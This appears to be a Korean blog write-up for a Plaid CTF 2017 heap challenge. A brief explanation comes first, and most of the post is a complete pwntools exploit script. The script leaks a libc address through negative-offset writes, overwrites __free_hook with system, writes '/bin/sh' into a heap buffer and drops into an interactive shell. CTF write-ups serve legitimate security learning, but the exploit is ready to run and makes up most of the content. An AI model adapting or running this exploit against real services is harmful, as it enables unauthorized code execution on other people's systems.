처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.
여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.
그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | # !/usr/bin/env python # powerprove from pwn import * host = "localhost" port = 4000 s = remote(host, port) raw_input("plaid CTF 2017") def make_payload(a, b, c): payload = str(a) + " , " + str(b) + " , " + str(c) return payload def leak(): libc = "" addr = -1176712 for i in range(0, 6): payload = make_payload(1, addr + i, 'A') s.sendline(payload) s.recvuntil("overwriting ") libc += s.recv(1) return u64(libc+"\x00\x00") def exploit(one_shot): addr = -1170488 - 24 for i in range(0, 6): payload = make_payload(1, addr + i, one_shot[i]) s.sendline(payload) s.recv() binsh = "/bin/sh\x00" for i in range(0, len(binsh)): payload = make_payload(0, i, binsh[i]) s.sendline(payload) s.recv() if __name__ == "__main__": s.sendline("1000 x 1000") libc = leak() - 0x3C4B78 - 0x3e0 system_addr = libc + 0x45390 log.info("libc_base : " + hex(libc)) log.info("system_addr : " + hex(system_addr)) exploit(p64(system_addr)) s.sendline("quit") s.recv(100) s.interactive() | cs |
'CTF > 2017' 카테고리의 다른 글
MeePwn ctf bs (0) | 2017.07.21 |
---|---|
[0CTF EasiestPrintf] write up (0) | 2017.06.30 |
[google ctf 2017] Inst Prof write up (0) | 2017.06.29 |
[codegate 2017 final] owner (0) | 2017.06.26 |
codegate_final 2017 real (0) | 2017.06.23 |